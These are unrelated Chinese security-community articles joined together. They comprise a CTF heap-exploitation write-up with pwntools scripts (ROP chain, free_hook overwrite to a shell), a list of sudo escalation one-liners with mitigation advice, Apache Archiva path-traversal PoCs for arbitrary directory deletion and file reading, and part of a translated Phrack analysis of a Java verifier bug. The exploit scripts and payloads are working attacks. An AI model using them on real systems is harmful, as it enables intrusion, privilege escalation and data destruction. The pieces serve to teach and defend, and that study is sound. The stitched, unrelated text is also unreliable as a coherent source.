p.sendlineafter("3- exit\n", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", content)
def delete(index):
p.sendlineafter("3- exit\n", "2")
p.sendlineafter("Index: ", str(index))
payload = "-%13$p-%25$p-"
p.sendlineafter("Format: ", payload)
p.recvuntil("-")
elf.address = int(p.recvuntil("-", drop=True), 16) - 0xd8c
libc.address = int(p.recvuntil("-", drop=True), 16) - 231 - libc.sym['__libc_start_main']
log.success("elf address is {}".format(hex(elf.address)))
log.success("libc address is {}".format(hex(libc.address)))
p.sendlineafter("Pointer: ", str(libc.sym['__free_hook']))
p.sendafter("Content: ", p64(libc.sym['setcontext'] + 53))
frame = SigreturnFrame()
frame.rip = libc.sym['read']
frame.rdi = 0
frame.rsi = libc.sym['__free_hook'] + 0x10
frame.rdx = 0x120
frame.rsp = libc.sym['__free_hook'] + 0x10
p_rsi_r = 0x0000000000023e8a + libc.address
p_rdi_r = 0x000000000002155f + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
p_rax_r = 0x0000000000043a78 + libc.address
syscall = 0x00000000000d29d5 + libc.address
flag_str_address = libc.sym['__free_hook'] + 0x110
flag_address = libc.sym['__free_hook'] + 0x140
orw = flat([
p_rax_r, 257,
p_rdi_r, 0xffffff9c,
p_rsi_r, flag_str_address,
p_rdx_r, 0,
syscall,
p_rdi_r, 5,
p_rsi_r, flag_address,
p_rdx_r, 0x50,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r, 0x50,
p_rax_r, 1,
syscall
])
add(0x60, b"1212")
add(len(bytes(frame)), bytes(frame))
delete(1)
payload = orw
payload = payload.ljust(0x100, b"\x00")
payload += b"/home/ctf/flag.txt".ljust(0x20, b"\x00")
p.sendline(payload)
p.interactive()
## death note
首先我们看一下程序的逻辑，程序一共提供了四种功能`add,delete,edit,show`。`add`函数中按照用户输入的`size`申请了特定大小的堆块，并且注意这里的堆块大小需要小于`0xFF`。一共可以申请十次，将申请得到的堆块地址写入到了数组中的相应位置，将`size`的值单独保存在了一个数组中。
`delete`函数则是根据用户输入的索引值删除了相应的堆块，并且将数组中相应的位置置为0。而`edit`函数则是根据用户输入的索引值调用了下面的语句
read(0, (void *)buf_list[index], (unsigned int)size_list[index]);
`show`函数则是输出相应索引值中的内容，整个程序的逻辑看起来好像没什么问题。
这里的漏洞存在的位置很巧妙，存在于`edit`函数中，没有对`index`进行向下的检查导致我们可以输入负数。
ssize_t edit()
{
int index; // [rsp+Ch] [rbp-4h]
write(1, "Provide note index: ", 0x14uLL);
index = get_int();
if ( index > 9 )// 数组越界
return write(1, "The death note isn't that big unfortunately\n", 0x2CuLL);
if ( !buf_list[index] )
return write(1, "Page doesn't even exist!\n", 0x19uLL);
write(1, "Name: ", 6uLL);
return read(0, (void *)buf_list[index], (unsigned int)size_list[index]);
}
那么这里越界怎么利用呢。注意到这里其实所有的堆块的指针都是保存在一个堆块中的，该堆块是在`setvbuf`调用的时候申请的。
void *sub_9AA()
{
void *result; // rax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = malloc(0x50uLL);
buf_list = (__int64)result;
return result;
}
也就是当我们申请了堆块之后其堆布局如下
pwndbg> x/20gx 0x0000555555757000
0x555555757000: 0x0000000000000000 0x0000000000000251 // tcache_pthread_struct
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x0000555555757260
0x555555757260: 0x00005555557572c0 0x0000555555757350// 保存我们申请堆块指针的数组
0x555555757270: 0x00005555557573e0 0x0000555555757470
0x555555757280: 0x0000555555757500 0x0000555555757590
0x555555757290: 0x0000555555757620 0x00005555557576b0
0x5555557572a0: 0x0000555555757740 0x0000000000000000
0x5555557572b0: 0x0000000000000000 0x0000000000000091
也就是说我们通过越界可以覆写`tcache_pthread_struct`结构体中的内容，因此这里我们首先释放一个堆块，然后利用越界写覆写其`fd`指针，达到一个`UAF`的效果。覆写`fd`指向`free_hook`，那么申请之后就可以直接覆写`free_hook`了。
覆写过程中还存在一个问题就是`size_list`中对应部分是否存在值，如果是`0`则是无法写入的，由于`size_list`这个数组中内容是保存在`bss`段中的，因此其低地址处一般都会有数值存在，因此这里选择一个合适的堆块大小就行了。
对于`libc`地址的泄漏，由于这里含有`show`函数，也就是我们可以利用堆块释放再申请之后中堆块残留的信息泄漏得到`libc`基地址。
# encoding=utf-8
from pwn import *
file_path = "./death_note"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
p = remote('bin.q21.ctfsecurinets.com', 1337)
libc = ELF('./libc.so.6')
def add(size):
p.sendlineafter("5- Exit\n", "1")
p.sendlineafter("note size:", str(size))
def edit(index, content):
p.sendlineafter("5- Exit\n", "2")
p.sendlineafter("note index: ", str(index))
p.sendafter("Name: ", content)
def delete(index):
p.sendlineafter("5- Exit\n", "3")
p.sendlineafter("note index: ", str(index))
def show(index):
p.sendlineafter("5- Exit\n", "4")
p.sendlineafter("note index: ", str(index))
for i in range(9):
add(0x88)
delete(0)
delete(1)
add(0x88)
add(0x88)
show(0)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
add(0x88)
add(0x88)
edit(7, b"a"*8)
show(7)
p.recvuntil("a"*8)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
log.success("heap address is {}".format(hex(heap_address)))
for i in range(9):
delete(i)
for i in range(3):
add(0xff)
delete(0)
delete(1)
edit(-0x33, p64(libc.sym['__free_hook']))
add(0xff)
add(0xff)
edit(0, b"/bin/sh\x00")
edit(1, p64(libc.sym['system']))
delete(0)
p.interactive() | 社区文章 |
# 运维安全之如何防范利用sudo进行提权获取完整root shell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
## 0x00. sudo 是个啥
在日常的运维安全工作中，经常会遇到开发 OR 测试 同学要求: 我需要在某某服务器上运行一个东东，必须以root权限运行，请帮忙处理下。怎么办？
直接给root账户，让其搞去？ 不存在的，但凡是个有章程的公司都不会共享root账户，比较普遍的做法就是利用sudo （Substitute User
and Do 的简写）给其临时授权，可以临时让其以root 权限运行某个程序。 但是运维的小伙子们，sudo
授权可要小心，不能求而不拒，什么程序都放行，不然可能会被别有用心的人恶意提权成root账户权限。 下文会详细介绍如何利用特定的sudo 授权程序进行提权。
## 0x01. 警惕常见的可以利用sudo授权然后提权成完整root权限的程序（命令）
### 1）zip
test 用户是个普通用户，申请sudo 授权zip 命令
然后执行：
`sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"`
成功提权成完整root权限
简单解释下 提权是如何实现的
-T 表示测试test.zip的完整性
—unzip-command 与-T 一起使用，可以指定自定义命令 用于解压test.zip(测试用)
利用点就在 可以自定义用于解压test.zip 的的命令，当然自定义解压命令是以root权限执行的，这里指定为sh -c /bin/bash,
就可以以root权限获取一个shell
### 2）tar
test 用户是个普通用户，申请sudo 授权tar命令
然后执行：
`sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash`
成功提权成完整root权限
简单解释下 提权是如何实现的
–checkpoint-action 选项是提权点，可以自定义需要执行的动作，当然是以root权限执行
这里指定为exec=/bin/bash，以root权限执行/bin/bash，获取一个root权限的shell
### 3）strace
简单解释下 提权是如何实现的
strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell
### 4）nmap
以root权限执行nmap ，然后nmap执行脚本，脚本执行/bin/sh, 获取root 权限shell
如果是老版本的nmap，还可以换一种姿势利用nmap 实现root 提权
sudo nmap --interactive
nmap> !sh
sh-4.1#
### 5） more
`sudo more /etc/rsyslog.conf`
然后键入
!/bin/bash 即可获取root权限的shell
同理的命令还有 less 和 man （sudo man ssh）
### 6) git
`sudo git help status`
然后键入!/bin/bash 即可以root 权限运行/bin/bash, 获取root权限的shell，原理同more
### 7）ftp
`sudo ftp`
在ftp交互式接口下键入!/bin/bash, 便可以root权限运行/bin/bash, 获取root权限的shell
### 8）vim
`sudo vim -c '!sh'` 可以直接以root权限运行 指定命令，这里可以直接获取root权限的shell
### 9）find
`sudo find /bin/ -name ls -exec /bin/bash ;`
对于find 检索到的每一个结果，都执行/bin/bash, 是以root权限执行的哦，很方便的获取root 权限的shell
### 10 ) passwd
sudo passwd 可以更改root的密码
然后su –
输入修改后的root密码，就可以切换到root shell
## 0x02. 如何防范？
这才是我关注的重点
必须得说，这个不是很好防范，只能尽量减少风险
sudo的配置文件只能限制那些用户可以使用sudo，可以使用哪些命令，但不能限制用户使用这些命令进行提权获取root
shell，我们设置sudo的本意就是让用户能临时获取root 权限执行某些命令而不是永久获取root shell
并可以root权限执行任何命令，有什么好的办法的？ 我总结了以下几个方法以期能减少sudo 使用带来的风险
1） 不要安装某些工具命令
比如strace、ftp、nmap、tcpdump、except、nano，这些命令都是可以实现sudo + 命令 提权成root
shell的，况且这些命令都不是必须的
2） sudo 不能滥授权
授权之前，必须仔细审核，能不授权的授权，多考虑替代方案，必要的才授权
2）其次使用堡垒机拦截非法命令
有人说将用户加入root组，不存在的，加入root组并不能保证用户以root身份执行某些命令。
最好的办法就是前置堡垒机，在堡垒机上进行非法命令拦截，经过我的一番探索，在我司的堡垒机（基于jumpserver
二次开发，研究过jumpserver代码的对下文代码应该会比较熟悉）上实现了拦截非法sudo 提权命令的功能：
代码简写如下：
data 即为解析后的完整命令，通过正则匹配来检测是否有非法命令（黑名单思路，故有可能被绕过，白名单不知道咋搞，有好的思路的大牛在下面留言中指点下小弟）
## 0x03. 总结
如果获取了对于某个命令的sudo 授权，则有可能利用sudo获取root shell，所以在审核申请人sudo
请求的时候，一定要留心。当然还有很多其他命令可以实现0x01 提到的哪些命令所实现的root提权，比如 nano 、wget
（通过写密码文件）、tcpdump等，如果大伙有更多可以提权的命令，不妨在留言中补充
本文参考资料：
<http://touhidshaikh.com/blog/?p=790>
<http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/> | 社区文章 |
Apache
Archiva是一个存储库管理软件，2.2.9以下版本在删除或者下载Artifact时，可以在目录或者文件名中注入目录穿越符，导致任意目录删除/任意文件读取漏洞。
## CVE-2022-40309
### 影响范围
* Apache Archiva < 2.2.9
### 环境搭建
<https://archive.apache.org/dist/archiva/2.2.8/binaries/apache-archiva-2.2.8-bin.zip>
<https://codeload.github.com/apache/archiva/zip/refs/tags/archiva-2.2.8>
`./bin/archiva console`
or
`.\bin\archiva.bat console`
可以提前在`conf/wrapper.conf`添加如下配置，方便IDEA远程调试
wrapper.java.additional.9=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
首次运行需要添加Admin用户，注意需要勾选`Validated`复选框：
<http://127.0.0.1:8080/#open-admin-create-box>
### 漏洞复现
前置条件是需要用户拥有`archiva-delete-artifact`操作权限，使用首次添加的系统管理员账号或者角色为`Repository
Manager - internal`的账号都可，其次需要存储库中有`Artifact`
先上传一个`Artifact`到`Archiva Managed Internal Repository`
保存之后文件会储存在`repositories/internal/com/test/test/1.0/test-1.0.jar`
在`/#browse`页面点进`group`然后删除`project`时抓包，如果此页面为空的话可以重启一下Archiva
可以抓到如下DELETE请求
DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test
在`projectid`后面添加POC`%2f..%2f..%2f..%2f..%2f..%2fdata`，这将删除Archiva根目录下的`data`目录
DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test%2f..%2f..%2f..%2f..%2f..%2fdata
### 漏洞分析
入口在 org.apache.archiva.rest.api.services.RepositoriesService#deleteProject
@Path ("project/{repositoryId}/{groupId}/{projectId}")
@DELETE
@Produces ({ MediaType.APPLICATION_JSON, MediaType.APPLICATION_XML, MediaType.TEXT_PLAIN })
@RedbackAuthorization (noPermission = true)
Boolean deleteProject( @PathParam ("groupId") String groupId, @PathParam ("projectId") String projectId,
@PathParam ("repositoryId") String repositoryId )
throws ArchivaRestServiceException;
org.apache.archiva.rest.services.DefaultRepositoriesService#deleteProject
public Boolean deleteProject( String groupId, String projectId, String repositoryId )
throws ArchivaRestServiceException
{
...
if ( !isAuthorizedToDeleteArtifacts( repositoryId ) )
{
throw new ArchivaRestServiceException( "not authorized to delete artifacts", 403, null );
}
...
try
{
ManagedRepositoryContent repository = repositoryFactory.getManagedRepositoryContent( repositoryId );
repository.deleteProject( groupId, projectId );
}
...
}
`isAuthorizedToDeleteArtifacts` 限制登录用户需要有`archiva-delete-artifact`权限
在`repository.deleteProject( groupId, projectId )`中直接拼接了目录名进行删除
org.apache.archiva.repository.content.maven2.ManagedDefaultRepositoryContent#deleteProject
### 漏洞修复
<https://github.com/apache/archiva/commit/930460424c715f52a7cb5eef5b084a7a8ef31fb5#diff-bde5305e671d2bdf9f05df227a6fa706f87b911c28799575537f806a063a9134R95>
## CVE-2022-40308
### 影响范围
* Apache Archiva < 2.2.9
### 环境搭建
同上
### 漏洞复现
前置条件是启用匿名读取或者使用拥有`archiva-read-repository`权限的用户
在如下界面点击下载然后抓包
修改URL为`/repository/internal/..//../data/databases/users/log/log1.dat`，这将会读取Archiva根目录下的`data/databases/users/log/log1.dat`文件，该文件会记录系统用户账号及加密后的密码
### 漏洞分析
由web.xml
<servlet-mapping>
<servlet-name>RepositoryServlet</servlet-name>
<url-pattern>/repository/*</url-pattern>
</servlet-mapping>
入口在RepositoryServlet，而且POC`/repository/internal/..///../data/databases/users/log/log1.dat`中的`..///..`必须是两个及以上数量的`/`，如果URL为`/repository/internal/../../data/databases/users/log/log1.dat`，则Jetty会认为请求的是`/data/databases/users/log/log1.dat`而非`/repository/*`
org.apache.archiva.webdav.RepositoryServlet#service
protected void service( HttpServletRequest request, HttpServletResponse response )
throws ServletException, IOException
{
WebdavRequest webdavRequest = new WebdavRequestImpl( request, getLocatorFactory() );
// DeltaV requires 'Cache-Control' header for all methods except 'VERSION-CONTROL' and 'REPORT'.
int methodCode = DavMethods.getMethodCode( request.getMethod() );
boolean noCache = DavMethods.isDeltaVMethod( webdavRequest ) && !( DavMethods.DAV_VERSION_CONTROL == methodCode
|| DavMethods.DAV_REPORT == methodCode );
WebdavResponse webdavResponse = new WebdavResponseImpl( response, noCache );
DavResource resource = null;
try
{
// make sure there is a authenticated user
if ( !getDavSessionProvider().attachSession( webdavRequest ) )
{
return;
}
// check matching if=header for lock-token relevant operations
resource =
getResourceFactory().createResource( webdavRequest.getRequestLocator(), webdavRequest, webdavResponse );
if ( !isPreconditionValid( webdavRequest, resource ) )
{
webdavResponse.sendError( DavServletResponse.SC_PRECONDITION_FAILED );
return;
}
if ( !execute( webdavRequest, webdavResponse, methodCode, resource ) )
{
super.service( request, response );
}
}
...
}
跟入`getResourceFactory().createResource`
org.apache.archiva.webdav.ArchivaDavResourceFactory#createResource(org.apache.jackrabbit.webdav.DavResourceLocator,
org.apache.jackrabbit.webdav.DavServletRequest,
org.apache.jackrabbit.webdav.DavServletResponse)
鉴权在`processRepository(...)`中，过了鉴权后发现其实问题也是由于未验证文件名，这里将包含目录穿越的路径直接拼接到`new
File()`参数中
### 漏洞修复
这是当时给官方提交漏洞后，官方回复的修复方式，和目前最新版的代码好像不太一样
<https://github.com/apache/archiva/commit/4a2d43be63634331668d71590034963e96a8886a#diff-7828cc4ef12a5f453debc98ef5c3eaf85c6851b271ee298a75b4bd6ea001846cR605>
当时的修复方式和CVE-2022-40309的修复差不多
## 参考
<https://lists.apache.org/thread/1odl4p85r96n27k577jk6ftrp19xfc27>
<https://lists.apache.org/thread/x01pnn0jjsw512cscxsbxzrjmz64n4cc> | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
在上一篇文章中，我们为读者详细介绍了糊涂的代理人漏洞方面的知识，在本文中，我们将继续为读者介绍实例未初始化漏洞。
**\----[ 4.2 - 实例未初始化漏洞**
* * *
**\------[ 4.2.1 - 背景知识**
* * *
Java对象的初始化过程中，非常关键的一个步骤就是调用相应类型的构造函数。在构造函数中，不仅含有初始化变量所需的代码，同时，也可能含有执行安全检查的代码。因此，为了保证平台的安全性和稳定性，必须在完成对象的初始化以及允许其他代码调用该类型的方法之前强制调用构造函数，这一点非常重要。
构造函数调用的强制执行是由字节码验证器负责的，它会在加载过程中对所有的类进行相应的检查，以确保其合法性。
除此之外，字节码验证器还负责（例如）检查跳转是否落在有效指令上，而不是落在指令的中间，并检查控制流是否以return指令结尾。此外，它还检查指令的操作对象是否为有效类型，这是用来防御类型混淆攻击的。关于这类攻击的介绍，请参考第3.1.1节。
过去，为了检查类型的有效性，JVM需要通过分析数据流来计算固定点（fix
point）。该分析过程可能对同一路径检查多次。由于这种检查方式非常耗时，会拖慢类的加载过程，因此，后来人们开发了一种新型方法，能够在线性时间内完成类型检查，其中，每个路径仅被检查一次。为此，可以为字节码添加称为堆栈映射帧的元信息。简而言之，堆栈映射帧用来描述每个分支目标的可能类型。通常情况下，堆栈映射帧被存储在一种称为堆栈映射表[25]的结构中。
如果安全分析人员能够创建一个实例，但不为其执行`<init>（*）`调用（即不执行对象的构造函数或超类的构造函数）的话，就会出现实例未初始化漏洞。实际上，该漏洞直接违反了虚拟机的相关规范[21]。它对JVM安全性的影响是，借助于实例未初始化漏洞，安全分析人员能够实例化他原本无权访问的对象，进而访问他原本无权访问的属性和方法。这样的话，就可能会导致沙箱逃逸。
**\------[ 4.2.2 - 示例： CVE-2017-3289**
* * *
通过阅读该CVE的描述，会发现“该漏洞的成功攻击可能导致Java SE、Java SE Embedded被完全接管”[22]。
就像CVE-2017-3272那样，这意味着能够利用该漏洞实现Java沙箱的逃逸。
据Redhat的bugzilla称，“在OpenJDK的Hotspot组件中发现了一个不安全的类构造漏洞，它与异常堆栈帧的错误处理方式有关。不受信任的Java应用程序或applet能够利用这个漏洞绕过Java沙箱的限制”[23]。我们可以从中推断出两条有用的信息：（1）该漏洞出现在C/C++代码中（Hotspot是Java
VM的名称），以及（2）该漏洞与非法类构造和异常堆栈帧有关。并且，通过第2条信息，我们可以进一步推断出，该漏洞可能位于检查字节码的合法性的相关C/C++代码中。此外，该页面还提供了该漏洞的OpenJDK补丁的链接。
OpenJDK的更新补丁，即“8167104: Additional class construction
refinements”可以修复该漏洞，该补丁可在线获取，具体见参考文献[24]。该程序对5个C
++文件进行了更新，它们分别是：“classfile/verifier.cpp”，负责检查类文件的结构和合法性的类；“classfile/stackMapTable.{cpp,
hpp}”，处理堆栈映射表的文件；以及“classfile/stackMapFrame.{cpp, hpp}”，描绘堆栈映射帧的文件。
借助于diff命令，我们发现，函数StackMapFrame::has_flag_match_exception()已经被删除，并且更新了一个我们将称为C1的条件，即删除了对has_flag_match_exception()函数的调用。此外，方法match_stackmap()和is_assignable_to()现在只剩下一个参数了，因为“bool
handler”已被删除。当该验证程序正在检查异常处理程序时，唯一的参数，即“handler”将被设为“true”。现在，条件C1已经变成下面的样子：
--------------------------------------------------------------------------- ....
- bool match_flags = (_flags | target->flags()) == target->flags();
- if (match_flags || is_exception_handler &&
has_flag_match_exception(target)) {
+ if ((_flags | target->flags()) == target->flags()) {
return true;
}
....
---------------------------------------------------------------------------
这个条件在函数is_assignable_to()中，用于检查作为参数传递给该函数的当前堆栈映射帧，是否可赋值给目标堆栈映射帧。在打补丁之前，返回“true”的条件是`match_flags
|| is_exception_handler &&
has_flag_match_exception(target)`。也就是说，要满足当前堆栈映射帧和目标堆栈映射帧的标志相同或者当前指令位于异常处理程序中，并且函数“has_flag_match_exception”返回“true”。注意，只有一种叫做“UNINITIALIZED_THIS”（又名FLAG_THIS_UNINIT）的标志。如果该标志的值为true，则表示“this”引用的对象还没有进行初始化操作，即尚未调用其构造函数。
在打完补丁之后，条件变为“match_flags”。这意味着，在易受攻击的版本中，可能存在一种方法能够构造出这样的字节码，能够使得：“match_flags”为“false”（即“this”在当前帧中具有未初始化的标志，但在目标帧中则没有该标志）、“is_exception_handler”为“true”（当前指令位于异常处理程序中）以及“has_flag_match_exception（target）”返回“true”。然而，这个函数什么情况下会返回“true”呢？
函数has_flag_match_exception()的代码如下所示。
--------------------------------------------------------------------------- 1: ....
2: bool StackMapFrame::has_flag_match_exception(
3: const StackMapFrame* target) const {
4:
5: assert(max_locals() == target->max_locals() &&
6: stack_size() == target->stack_size(),
7: "StackMap sizes must match");
8:
9: VerificationType top = VerificationType::top_type();
10: VerificationType this_type = verifier()->current_type();
11:
12: if (!flag_this_uninit() || target->flags() != 0) {
13: return false;
14: }
15:
16: for (int i = 0; i < target->locals_size(); ++i) {
17: if (locals()[i] == this_type && target->locals()[i] != top) {
18: return false;
19: }
20: }
21:
22: for (int i = 0; i < target->stack_size(); ++i) {
23: if (stack()[i] == this_type && target->stack()[i] != top) {
24: return false;
25: }
26: }
27:
28: return true;
29: }
30: ....
---------------------------------------------------------------------------
为了让这个函数返回“true”，必须满足以下所有条件：（1）当前帧和目标帧的最大局部变量个数与堆栈的最大长度必须相同（第5-7行）；（2）当前帧必须将“UNINIT”标志设为“true”（第12-14行）；（3）目标帧中没有使用未初始化的对象（第16-26行）。
下面是满足以上述三个条件的字节码：
--------------------------------------------------------------------------- <init>()
0: new // class java/lang/Throwable
1: dup
2: invokespecial // Method java/lang/Throwable."<init>":()V
3: athrow
4: new // class java/lang/RuntimeException
5: dup
6: invokespecial // Method java/lang/RuntimeException."<init>":()V
7: athrow
8: return
Exception table:
from to target type
0 4 8 Class java/lang/Throwable
StackMapTable: number_of_entries = 2
frame at instruction 3
local = [UNINITIALIZED_THIS]
stack = [ class java/lang/Throwable ]
frame at instruction 8
locals = [TOP]
stack = [ class java/lang/Throwable ]
---------------------------------------------------------------------------
我们可以将局部变量的最大数目和堆栈的最大尺寸都设置为2，以满足第1个条件。此外，第3行代码处，当前帧会将“UNINITIALIZED_THIS”设置为true，以满足第2个条件。最后，未初始化的局部变量不会用于“athrow”指令的目标操作数(第8行)，因为局部变量的第一个元素被初始化为“TOP”，这样第3个条件也能得到满足。
请注意，这些代码位于try/catch语句块中，以便通过函数is_assignable_to()将“is_exception_handler”设置为“true”。
此外，还需要注意的是，该字节码都位于构造函数（字节码形式的`<init>()`）中。要想将标志“UNINITIALIZED_THIS”设置为true，必须如此。
我们现在已经知道，安全分析人员能够构造出返回其自身尚未被初始化的对象的字节码了。乍一看，可能很难看出这种对象是如何供安全分析人员使用的。但是，通过仔细观察就会发现，所需的类可以实现为一个系统类的子类，可以在不调用超类的构造函数`super.<init>()`的情况下完成初始化。这个类可用于实例化因构造函数是私有的或包含权限检查而无法由不受信任的代码实例化的那些公共系统类。下一步是寻找含有安全分析人员“感兴趣的”功能的类。这样做的目的是，将所有功能组合在一起，以便能够在沙箱环境中执行任意代码，从而绕过沙箱。然而，寻找有用的类本身就是一项非常复杂的任务。
具体而言，我们面临着以下挑战。
**挑战1：到哪里寻找助手代码**
JRE提供了许多包含JCL（Java类库）类的jar文件。这些类作为_trusted_类进行加载，并且可以在构造漏洞利用代码时使用。当前，有越来越多的类被标记为“restricted”，这意味着_untrusted_代码将无法直接实例化它们——对于安全分析人员来说，这是非常不幸的；但是对于Java用户来说，这又是非常幸运的。在1.6.0_01版本中，访问权限为restricted的包的数量只有1个，到1.8.0_121版本发布时，这种类型的包的数量已经变为47个。这意味着安全分析人员在构建漏洞利用代码时无法直接使用的代码的百分比，从1.6.0_01版本升级到1.8.0_121版本的过程中，已经从20％提升到54％了。
**挑战2：字段可能未初始化**
如果没有适当的权限，通常无法实例化新的类加载器。在构造函数中接受检查的_ClassLoader_类的权限，看起来似乎是一个不错的目标。
借助于CVE-2017-3289漏洞，我们确实可以在没有相应权限的情况下实例化新的类加载器，因为构造函数代码——以及权限检查代码——不会被执行。但是，由于绕过了构造函数，因此，这时会使用默认值来初始化各个字段（例如，对于整数来说，将被初始化为0；对于引用来说，将被初始化为null）。所以，这可能导致某些问题：我们感兴趣的方法通常是允许为定义的新类赋予全部权限的那些方法，但是在这种情况下，这些方法都无法正常运行，因为代码将尝试解除对未正确初始化的字段的引用。在手动检查之后，我们发现似乎很难绕过字段的解引用，因为所有路径都是通过该指令来解除对非初始化字段的引用的。这样看来，利用_ClassLoader_似乎是一个死胡同。当利用CVE-2017-3289中的漏洞时，非初始化字段是一个主要挑战：除了要求目标类的访问权限是public、非final和非restricted之外，其感兴趣的方法也不应该执行撤销对未初始化的字段的引用的方法。
对于Java version 1.8.0 update
112来说，我们还没有找到有用的助手代码。为了阐明CVE-2017-3289漏洞的形成机制，我们将展示用于利用编号为0422和0431的漏洞的助手代码。这两个漏洞依赖于
_MBeanInstantiator_
，该类定义了可以加载任意类的方法，即findClass()。类_MBeanInstantiator_只提供了私有构造函数，因此无法直接进行实例化。
最初，这些漏洞都是通过_JmxMBeanServer_来创建_MBeanInstantiator_的实例。这里，我们将证明，安全分析人员可以直接子类化
_MBeanInstantiator_ ，并利用编号为3289的漏洞来获取它的实例。
用于实例化_MBeanInstantiator_的原始助手代码依赖于 _JmxMBeanServer_ ，具体如下所示：
--------------------------------------------------------------------------- 1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder();
2: JmxMBeanServer server =
3: (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null);
4: MBeanInstantiator instantiator = server.getMBeanInstantiator();
---------------------------------------------------------------------------
实例化_MBeanInstantiator_的代码利用了CVE-2017-3289漏洞：
--------------------------------------------------------------------------- 1: public class PoCMBeanInstantiator extends java.lang.Object {
2: public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) {
3: throw new RuntimeException();
4: }
5:
6: public static Object get() {
7: return new PoCMBeanInstantiator(null);
8: }
9: }
---------------------------------------------------------------------------
请注意，由于_MBeanInstantiator_没有任何公共构造函数，_PoCMBeanInstantiator_必须在源代码中扩展一个虚拟类，在我们的示例中为
_java.lang.Object_ 。我们将通过ASM [28]字节码操作库，把_PoCMBeanInstantiator_的超类改为
_MBeanInstantiator_ 。此外，我们还将使用ASM来修改构造函数的字节码，以绕过对`super.<init>(*)`的调用。
自Java 1.7.0 update
13版本以来，Oracle已将_com.sun.jmx._添加为受限程序包。类_MBeanInstantiator_就位于这个程序包中，因此，我们无法在更高版本的Java中继续使用该助手代码。
出乎我们意料之外的是，这个漏洞影响了40多个不同的公开发行版本。Java 7的所有版本，包括从update 0到update
80，都含有这个漏洞。从update 5到update 112的所有Java 8版本也会受到该漏洞的影响。不过，Java 6版本并没有受到该漏洞的影响。
通过检查Java 6 update 43发行版的字节码验证器与Java 7 update 0发行版的源代码，我们发现主要的区别对应于上面提供的补丁的逆操作。
这意味着堆栈帧可分配给构造函数中异常处理程序内的目标堆栈帧的条件已被削弱。diff中的注释表明，这个新代码是应7020118号请求[26]而添加的。该请求要求更新字节码验证程序的代码，以使NetBeans的分析器（profiler）能够生成可以覆盖构造函数的全部代码的处理程序。
这个漏洞已经通过收紧约束条件得到了修复，只有满足了这个加强版的约束条件，当前堆栈帧（位于try/catch代码块中的构造函数中）才可以分配给目标堆栈帧。这样就能有效地防止字节码从构造函数返回未初始化的“this”对象了。
据我们所知，Java至少有三个已经公开的_uninitialized
instance_漏洞。其中，第1个漏洞是本文介绍的CVE-2017-3289。第2个漏洞于2002年被发现，具体见参考文献[29]。同时，该文献的作者还利用了字节码验证器中的漏洞，该漏洞的作用是让Java平台无法调用超类的构造函数。但是，利用这些漏洞时，无法开发出能够实现沙箱的完全逃逸的利用代码。但是，它们能够可以用来访问网络并将文件读写入磁盘。第3个漏洞是普林斯顿的一个研究小组于1996年发现的，具体见参考文献[30]。同样，这个安全问题也是位于字节码验证器中。它允许构造函数捕获调用super()时抛出的异常，并返回部分初始化的对象。请注意，利用该漏洞发动攻击时，ClassLoader类没有任何实例变量。因此，利用该漏洞来实例化类加载器的时候，能够获得一个完全初始化的类加载器，可以在其上调用任何方法。
**\------[ 4.2.3 -讨论**
* * *
这个漏洞的根本原因是对C/C++编写的字节码验证代码的修改，而原来验证代码的作用是，保证安全分析人员构造出的Java字节码无法绕过对子类构造函数中的super()的调用。但是，该漏洞直接违反了虚拟机的相关规范[21]。
但是，如果没有合适的_helper_代码，这个漏洞将毫无用处。不过，Oracle已经开发了一款静态分析工具，专门用于查找危险的gadget，并将其列入黑名单[31]。这使得安全分析人员在开发用于绕过沙箱的漏洞利用程序的时候，难度更大了。实际上，我们只发现了能够与旧版JVM配套使用的gadget。由于它们已被列入最新版本的黑名单，因此，这种攻击方法已经失效了。
然而，即使可以使用静态分析工具进行防御，但是仍然面临两个问题：（1）可能会引发许多假正例，这使得识别真正危险的gadget变得更加困难，并且（2）可能导致许多假负例，因为它无法模拟语言的所有特性，比如反射和JNI，因此，这种防御方式还不够健全。
**小结**
* * *
在本文中，我们为读者详细介绍了实例未初始化漏洞。在下一篇文章中，我们将继续为读者介绍更多精彩内容，敬请期待。 | 社区文章 |
前些天在乌云看一下通用系统的洞，然后fofa查了一下打开第一个居然是某src。
事情好像有点意思了，日他。
但是这个系统被他魔改过加了验证码，前端也加密了,老洞肯定没有。
登录框大概长这样，看了一下有shiro但是打不了。
